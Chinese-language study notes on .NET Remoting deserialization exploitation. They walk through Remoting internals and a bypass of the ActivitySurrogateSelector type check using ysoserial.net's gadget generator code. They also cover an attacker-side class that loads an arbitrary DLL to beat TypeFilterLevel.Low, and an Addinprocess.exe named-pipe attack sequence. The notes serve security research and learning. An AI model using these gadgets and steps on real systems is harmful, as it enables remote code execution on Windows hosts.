.NET Remoting introduction .NET Remoting是在.NET中用於遠程方法調用的內置架構
.NET Remoting 集成於.NET Framework中,允許所謂的遠程調用方法。客戶端和服務器之間支持的傳輸包括HTTP、IPC(命名管道)和TCP
以下是一個簡單的例子以進行說明:服務器創建並註冊傳輸服務器通道,然後將該類別註冊為服務
1 2 3 4 5 6 var channel = new TcpServerChannel(12345 );ChannelServices.RegisterChannel(channel); RemotingConfiguration.RegisterWellKnownServiceType( typeof (xxx), "name" );
客戶端只需要知道服務的URL,就可以透過遠程調用在客戶端和伺服器之間進行通訊
1 2 3 4 var remote = (MyRemotingClass)RemotingServices.Connect( typeof (xxx), "tcp://remoting-server:12345/name" );
.NET Remoting已於2009年隨著.NET Framework 3.0的發布而被棄用,並在.NET Core和.NET 5+中不再提供
Bypass DisableActivitySurrogateSelectorTypeCheck 衆所周知,ActivitySurrogateSelector gadget可以加載DLL,利用了System.Workflow.ComponentModel中的ActivitySurrogateSelector類別
但在DotNet framework(4.8+)fixed .
1 2 3 4 5 6 7 8 9 10 11 12 private sealed class ObjectSurrogate : ISerializationSurrogate { public void GetObjectData (object obj, SerializationInfo info, StreamingContext ctx ) { if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is ActivityBind) && !(obj is DependencyObject)) { throw new ArgumentException("obj" ); } } }
我們可以看到,對GetObjectData函數進行了類型檢查,確保只能處理ActivityBind或DependencyObject
同時引入了一個新選項(DisableActivitySurrogateSelectorTypeCheck )
1 2 3 4 5 6 7 8 9 10 internal static bool DisableActivitySurrogateSelectorTypeCheck{ get { if (NativeMethods.IsDynamicCodePolicyEnabled()) return false ; AppSettings.EnsureSettingsLoaded(); return AppSettings.disableActivitySurrogateSelectorTypeCheck; } }
新增了一個新的方法呼叫NativeMethods.IsDynamicCodePolicyEnabled,確保只有當WLDP(Windows Lockdown Policy)被啟用時,類型白名單才會強制實施。這裏不需要關注WLDP(Windows Lockdown Policy)。這個AppSettings.disableActivitySurrogateSelectorTypeCheck選項實際上對應到 ConfigurationManager.AppSettings ,通常指的是應用程式或web.config檔案中的策略
1 2 3 4 5 NamedValueCollection collection = ConfigurationManager.AppSettings; bool .TryParse(collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck" ], out AppSettings.disableActivitySurrogateSelectorTypeCheck)
也就是說其實只需要反序列化payload觸發如下調用關閉保護
1 ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck" ,"true" );
TextFormattingRunProperties 就可以輕鬆做到
https://github.com/pwntester/ysoserial.net/blob/d1ee10ddd08bbfdda3713b2f67a7d23cbca16f12/ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 using System;using System.Collections.Generic;namespace ysoserial.Generators { class ActivitySurrogateDisableTypeCheckGenerator : GenericGenerator { public override string Name () { return "ActivitySurrogateDisableTypeCheck" ; } public override string Description () { return "ActivitySurrogateDisableTypeCheck Gadget by Nick Landers. Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored." ; } public override List<string > SupportedFormatters () { return new List<string > { "BinaryFormatter" , "ObjectStateFormatter" , "SoapFormatter" , "NetDataContractSerializer" , "LosFormatter" }; } public override object Generate (string cmd, string formatter, Boolean test ) { string xaml_payload = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:s=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration"" xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib""> <ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType""> <ObjectDataProvider.MethodParameters> <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField""> <ObjectDataProvider.MethodParameters> <s:String>disableActivitySurrogateSelectorTypeCheck</s:String> <r:BindingFlags>40</r:BindingFlags> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue""> <ObjectDataProvider.MethodParameters> <s:Object/> <s:Boolean>true</s:Boolean> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set""> <ObjectDataProvider.MethodParameters> <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String> <s:String>true</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>" ; TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); return Serialize(payload, formatter, test); } } }
Remoting Internals 在客戶端連接到由伺服器提供的遠端物件時,它會建立一個實作指定類別MyRemotingClass的RemotingProxy。所有遠端的方法呼叫(除了GetType()和GetHashCode())都會以遠端呼叫的方式傳送到伺服器。當遠端的方法被呼叫時,代理會建立一個MethodCall物件,該物件包含方法和傳遞的參數的資訊,然後將其傳遞給chain of client sinks,以準備MethodCall並處理在給定傳輸上的遠端通訊
客戶端的默認chain of server sinks如下
HttpClientChannel
:SoapClientFormatterSink
→ HttpClientTransportSink
IpcClientChannel
:BinaryClientFormatterSink
→ IpcClientTransportSink
TcpClientChannel
:BinaryClientFormatterSink
→ TcpClientTransportSink
在伺服器端,接收到的請求也會傳遞給chain of server sinks,其中也包括MethodCall物件的反序列化。它以dispatcher sink結束,該調度器接收器使用傳遞的參數來呼叫方法的實際實作。方法呼叫的結果隨後放入MethodResponse物件中,並返回給客戶端,客戶端chain of client sinks會反序列化MethodResponse物件,提取返回的物件並將其傳回RemotingProxy
伺服器的默認chain of server sinks如下
HttpServerChannel
:HttpServerTransportSink
→ SdlChannelSink
→ SoapServerFormatterSink
→ BinaryServerFormatterSink
→ DispatchChannelSink
IpcServerChannel
:IpcServerTransportSink
→ BinaryServerFormatterSink
→ SoapServerFormatterSink
→ DispatchChannelSink
TcpServerChannel
:TcpServerTransportSink
→ BinaryServerFormatterSink
→ SoapServerFormatterSink
→ DispatchChannelSink
默認伺服器chain可以處理兩種格式。只有在通道未使用明確的IClientChannelSinkProvider或IServerChannelSinkProvider創建時,才會使用默認chain
MarshalByRefObject 如果類型擴展了MarshalByRefObject則表明為reference,該物件需要使用RemotingServices.Marshal進行marshal(編組)。該過程會將其注冊到當前的registry中,并且RemotingServices.Marshal將會返回ObjRef實例,這個實例持有關於編組物件的URL和類型信息
marshal的過程是透過RemotingSurrogate進行的,用於BinaryFormatter/SoapFormatter中(RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)
,CoreChannel.CreateSoapFormatter(bool, bool)
)
serialization surrogate允許自訂指定型別的序列化/反序列化
對於擴展自MarshalByRefObject的物件,RemotingSurrogateSelector會返回RemotingSurrogate(RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public virtual ISerializationSurrogate GetSurrogate (Type type, StreamingContext context, out ISurrogateSelector ssout ) { if (type == null ) { throw new ArgumentNullException("type" ); } Contract.EndContractBlock(); Message.DebugOut("Entered GetSurrogate for " + type.FullName + "\n" ); if (type.IsMarshalByRef) { Message.DebugOut("Selected surrogate for " + type.FullName); ssout = this ; return _remotingSurrogate; } ......
接下來按照.NET序列化機制,將會呼叫RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext),最終會進入到
RemotingServices.MarshalInternal(MarshalByRefObject, string, Type)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 internal static ObjRef MarshalInternal (MarshalByRefObject Obj, String ObjURI, Type RequestedType, bool updateChannelData, bool isInitializing ) { BCLDebug.Trace("REMOTE" , "Entered Marshal for URI" + ObjURI + "\n" ); if (null == Obj) return null ; ObjRef objectRef = null ; Identity idObj = null ; idObj = GetOrCreateIdentity(Obj, ObjURI, isInitializing); ...... TrackingServices.MarshaledObject(Obj, objectRef); return objectRef; }
可以看到最後return objectRef
,意味著每個擴展自MarshalByRefObject的遠程物件都會返回為一個ObjRef
在接收方,如果發送方傳遞的是一個ObjRef,在反序列化過程中最終將呼叫ObjRef實現的IObjectReference.GetRealObject(StreamingContext)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 [System.Security.SecurityCritical ] public virtual Object GetRealObject (StreamingContext context ){ return GetRealObjectHelper(); } [System.Security.SecurityCritical ] internal Object GetRealObjectHelper () { if (!IsMarshaledObject()) { BCLDebug.Trace("REMOTE" , "ObjRef.GetRealObject: Returning *this*\n" ); return this ; } else { if (IsObjRefLite()) { BCLDebug.Assert(null != uri, "null != uri" ); int index = uri.IndexOf(RemotingConfiguration.ApplicationId); if (index > 0 ) uri = uri.Substring(index - 1 ); } bool fRefine = !(GetType() == typeof (ObjRef)); Object ret = RemotingServices.Unmarshal(this , fRefine); ret = GetCustomMarshaledCOMObject(ret); return ret; } }
該接口方法用於在反序列化期間使用由該方法返回值替換物件。對於ObjRef,此方法導致調用RemotingServices.Unmarshal(ObjRef, bool)
,它會使用反序列化后的ObjRef中指定的型別和目標URL創建一個RemotingProxy,當客戶端在這個代理上呼叫時,方法資訊和參數被打包成一個實作IMethodCallMessage的物件。這個物件被傳送到遠端進行處理,呼叫真實方法並將返回值(或異常)封裝在一個實作IMethodReturnMessage的物件中返回
也就是說所有擴展自MarshalByRefObject的物件都使用ObjRef按引用傳遞。並且在使用BinaryFormatter/SoapFormatter反序列化ObjRef后(不僅限於 .NET Remoting)會導致創建RemotingProxy(類似於yso中的jrmpclient)
Bypass TypeFilterLevel.Low
然而remoting services的remoting services默認為TypeFilterLevel.Low,那麽又該如何bypass
再重新説明下TypeFilterLevel.Low的限制
Object types derived from MarshalByRefObject , DelegateSerializationHolder , ObjRef , IEnvoyInfo and ISponsor can not be deserialized.
All objects which are deserialized must not Demand any CAS permission other than SerializationFormatter permission.
限制有兩種,一種是CAS,另一種是類別限制
CAS permission BinaryServerFormatterSink.ProcessMessage(sinkStack, requestMsg, requestHeaders, requestStream, responseMsg, responseHeaders, responseStream)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 PermissionSet currentPermissionSet = null ; if (this .TypeFilterLevel != TypeFilterLevel.Full) { currentPermissionSet = new PermissionSet(PermissionState.None); currentPermissionSet.SetPermission( new SecurityPermission( SecurityPermissionFlag.SerializationFormatter)); } try { if (currentPermissionSet != null ) currentPermissionSet.PermitOnly(); requestMsg = CoreChannel.DeserializeBinaryRequestMessage( objectUri, requestStream, _strictBinding, this .TypeFilterLevel); } finally { if (currentPermissionSet != null ) CodeAccessPermission.RevertPermitOnly(); }
當前為SecurityPermissionFlag.SerializationFormatter
,并且使用了currentPermissionSet.PermitOnly();
意味著只能反序列化,其他諸如建立檔案都是不允许的
因爲在finally存在CodeAccessPermission.RevertPermitOnly();
,可以理解爲解除了CAS Permitonly
也就是說只要在CoreChannel.DeserializeBinaryRequestMessage
這一反序列化過程中不違反CAS就行,注意在這裏如果這時接收方獲取到ObjRef并且反序列化為RemotingProxy的時刻并不會直接觸發遠端連接,只有等到在對RemotingProxy的實際調用發生后才會建立遠端連接,所以說如果在此反序列化ObjRef是可行的
Call Stack中可以得知發生遠端調用(下面的紅色方框)這時已經是在CodeAccessPermission.RevertPermitOnly();
后了
所以只需要在攻擊者端建立一個惡意類別并且擴展MarshalByRefObject並注冊,覆寫其中的方法使其被遠端調用后能夠返回自訂反序列化payload,這樣處理攻擊者返回的payload反序列化過程的將會移交給BinaryClientFormatterSink.DeserializeMessage(IMethodCallMessage mcm, ITransportHeaders headers, Stream stream) 處理,這個方法沒有保護
還有一個細節是對RemotingProxy的實際調用是如何發生的,如果傳遞給方法的引數不是所需類型的直接對應,StackBuilderSink::SyncProcessMessage 將呼叫 Message::CoerceArgs ,嘗試將引數強制轉換為正確的類型。在這個Message::CoerceArgs中對於fall-back情況的處理是調用Convert::ChangeType,傳遞所需的類型和從客戶端傳遞的物件。接下來檢查傳遞的物件是否實作了IConvertible,並呼叫其中的ToType方法
所以説攻擊者只需要這樣
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 class SerializerRemoteClass : MarshalByRefObject , IConvertible { public object ToType (Type conversionType, IFormatProvider provider ) { Assembly user_assembly; try { user_assembly = Assembly.LoadFrom("TestAssembly.dll" ); if (user_assembly == null ) { return null ; } } catch (Exception ex) { Console.WriteLine($"[!] Error loading provided assembly file. Error Message {ex.Message} :{ex.StackTrace} " ); return null ; } PayloadClass Stage2_gadget = new PayloadClass(user_assembly); return Stage2_gadget; } ...... }
類別限制 最後的一個問題是如何繞過類別限制
ObjectReader.CheckSecurity
1 2 3 4 5 6 7 8 9 10 internal void CheckSecurity (ParseRecord pr ) { Type t = pr.PRdtType; if ((object )t != null ){ if (IsRemoting) { if (typeof (MarshalByRefObject).IsAssignableFrom(t)) throw new ArgumentException(); FormatterServices.CheckTypeSecurity(t, formatterEnums.FEsecurityLevel); } } }
ObjectReader
1 2 3 4 5 private bool IsRemoting { get { return (bMethodCall || bMethodReturn); } }
ObjectReader.SetMethodCall
1 2 3 4 5 internal void SetMethodCall (BinaryMethodCall binaryMethodCall ){ bMethodCall = true ; this .binaryMethodCall = binaryMethodCall; }
__BinaryParser.ReadMethodObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 internal void ReadMethodObject (BinaryHeaderEnum binaryHeaderEnum ){ SerTrace.Log( this , "ReadMethodObject" ); if (binaryHeaderEnum == BinaryHeaderEnum.MethodCall) { BinaryMethodCall record = new BinaryMethodCall(); record .Read(this ); record .Dump(); objectReader.SetMethodCall(record ); } else { BinaryMethodReturn record = new BinaryMethodReturn(); record .Read(this ); record .Dump(); objectReader.SetMethodReturn(record ); } }
解決方式為手寫協議,不要將MethodCall
或者MethodReturn
作爲top level record
即可,這一部分可以參考
https://github.com/tyranid/ExploitRemotingService
接著是一個存在于real world中的簡單示例,僅僅使用到了前文提到的Bypass DisableActivitySurrogateSelectorTypeCheck
Addinprocess.exe Addinprocess.exe存在於X:\Windows\Microsoft.NET\Framework\v4.0.30319
(with Microsoft .NET installed)
Add-ins 實際上是.NET Framework提供的一種插件模型,使開發人員能夠為其應用程序創建插件。此模型通過在主機和add-in之間構建通信管道來實現此目的
正如我們所看到的,需要提供/guid:[GUID]參數和/pid:[現有 PID]參數
/guid 參數由你提供,並被用作IPC通道名稱。**/pid**參數則是指一個已經運行的進程的進程識別號,addinprocess.exe
會等待其退出
接著,註冊.NET Remoting通道,可以看到addinprocess.exe
使用的是TypeFilterLevel.Full
攻擊手法如下
Addinprocess.exe /guid :xxxxxxxx /pid :xxxx(imma pid of explorer.exe)
type DisableActivitySurrogateSelectorTypeCheck.bin > \.\pipe\xxxxxxxx
type ActivitySurrogateSelector.bin > \.\pipe\xxxxxxxx
廢話收容所 當作自己學習下面文章記錄的一篇學習筆記,方便回憶
https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html
https://labs.nettitude.com/blog/introducing-aladdin/